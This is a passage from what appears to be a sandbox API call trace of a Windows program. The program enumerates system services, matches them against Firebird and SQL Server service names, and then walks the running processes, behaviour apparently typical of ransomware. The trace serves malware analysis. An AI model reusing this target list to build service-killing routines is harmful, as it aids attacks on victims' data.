	[0074.068] lstrlenW (lpString="AppXSvc") returned 7
	[0074.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0074.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0074.068] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0074.068] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0074.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0074.069] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0074.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0074.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0074.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0074.069] lstrlenW (lpString="Audiosrv") returned 8
	[0074.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0074.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0074.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0074.069] lstrlenW (lpString="BFE") returned 3
	[0074.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0074.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0074.069] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0074.069] lstrlenW (lpString="BITS") returned 4
	[0074.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0074.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0074.069] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0074.069] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0074.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0074.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0074.069] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0074.069] lstrlenW (lpString="CDPSvc") returned 6
	[0074.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0074.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0074.069] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0074.070] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0074.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0074.070] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0074.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0074.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0074.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0074.070] lstrlenW (lpString="CryptSvc") returned 8
	[0074.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0074.070] lstrlenW (lpString="DcomLaunch") returned 10
	[0074.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0074.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0074.070] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0074.070] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0074.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0074.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0074.070] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0074.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0074.070] lstrlenW (lpString="Dhcp") returned 4
	[0074.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0074.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0074.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0074.071] lstrlenW (lpString="Dnscache") returned 8
	[0074.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0074.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0074.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0074.071] lstrlenW (lpString="DoSvc") returned 5
	[0074.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0074.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0074.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0074.071] lstrlenW (lpString="DPS") returned 3
	[0074.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0074.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0074.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0074.071] lstrlenW (lpString="DusmSvc") returned 7
	[0074.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0074.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0074.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0074.071] lstrlenW (lpString="EventLog") returned 8
	[0074.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0074.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0074.071] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0074.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0074.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0074.072] lstrlenW (lpString="EventSystem") returned 11
	[0074.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0074.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0074.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0074.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0074.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0074.072] lstrlenW (lpString="FontCache") returned 9
	[0074.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0074.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0074.072] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0074.072] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0074.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0074.072] lstrlenW (lpString="gpsvc") returned 5
	[0074.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0074.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0074.072] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0074.072] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0074.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0074.072] lstrlenW (lpString="iphlpsvc") returned 8
	[0074.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0074.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0074.072] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0074.072] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0074.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0074.072] lstrlenW (lpString="KeyIso") returned 6
	[0074.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0074.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0074.072] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0074.072] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0074.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0074.072] lstrlenW (lpString="LanmanServer") returned 12
	[0074.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0074.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0074.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0074.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0074.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0074.073] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0074.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0074.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0074.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0074.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0074.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0074.073] lstrlenW (lpString="lfsvc") returned 5
	[0074.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0074.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0074.073] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0074.073] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0074.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0074.073] lstrlenW (lpString="lmhosts") returned 7
	[0074.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0074.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0074.073] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0074.073] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0074.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0074.073] lstrlenW (lpString="LSM") returned 3
	[0074.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0074.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0074.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0074.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0074.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0074.073] lstrlenW (lpString="MapsBroker") returned 10
	[0074.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0074.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0074.073] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0074.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0074.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0074.074] lstrlenW (lpString="MpsSvc") returned 6
	[0074.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0074.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0074.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0074.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0074.074] lstrlenW (lpString="NcbService") returned 10
	[0074.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0074.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0074.074] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0074.074] lstrlenW (lpString="netprofm") returned 8
	[0074.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0074.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0074.074] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0074.074] lstrlenW (lpString="NgcSvc") returned 6
	[0074.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0074.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0074.074] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0074.074] lstrlenW (lpString="NlaSvc") returned 6
	[0074.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0074.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0074.074] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0074.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0074.074] lstrlenW (lpString="nsi") returned 3
	[0074.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0074.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0074.075] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0074.075] lstrlenW (lpString="PcaSvc") returned 6
	[0074.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0074.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0074.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0074.075] lstrlenW (lpString="PlugPlay") returned 8
	[0074.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0074.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0074.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0074.075] lstrlenW (lpString="Power") returned 5
	[0074.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0074.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0074.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0074.075] lstrlenW (lpString="ProfSvc") returned 7
	[0074.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0074.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0074.075] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0074.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0074.075] lstrlenW (lpString="RpcEptMapper") returned 12
	[0074.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0074.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0074.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0074.076] lstrlenW (lpString="RpcSs") returned 5
	[0074.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0074.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0074.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0074.076] lstrlenW (lpString="SamSs") returned 5
	[0074.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0074.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0074.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0074.076] lstrlenW (lpString="Schedule") returned 8
	[0074.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0074.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0074.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0074.076] lstrlenW (lpString="SecurityHealthService") returned 21
	[0074.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0074.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0074.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0074.076] lstrlenW (lpString="SENS") returned 4
	[0074.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0074.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0074.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0074.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0074.076] lstrlenW (lpString="ShellHWDetection") returned 16
	[0074.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0074.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0074.077] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0074.077] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0074.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0074.077] lstrlenW (lpString="Spooler") returned 7
	[0074.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0074.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0074.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0074.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0074.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0074.077] lstrlenW (lpString="StateRepository") returned 15
	[0074.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0074.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0074.077] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0074.077] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0074.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0074.077] lstrlenW (lpString="SysMain") returned 7
	[0074.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0074.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0074.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0074.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0074.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4314a18 | out: hHeap=0x4f0000) returned 1
	[0074.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380
	[0074.083] Process32FirstW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0074.083] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0074.084] lstrlenW (lpString="System") returned 6
	[0074.084] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0074.084] lstrlenW (lpString="smss.exe") returned 8
	[0074.085] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0074.085] lstrlenW (lpString="csrss.exe") returned 9
	[0074.085] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0074.085] lstrlenW (lpString="wininit.exe") returned 11
	[0074.086] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0074.185] lstrlenW (lpString="csrss.exe") returned 9
	[0074.434] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0074.435] lstrlenW (lpString="winlogon.exe") returned 12
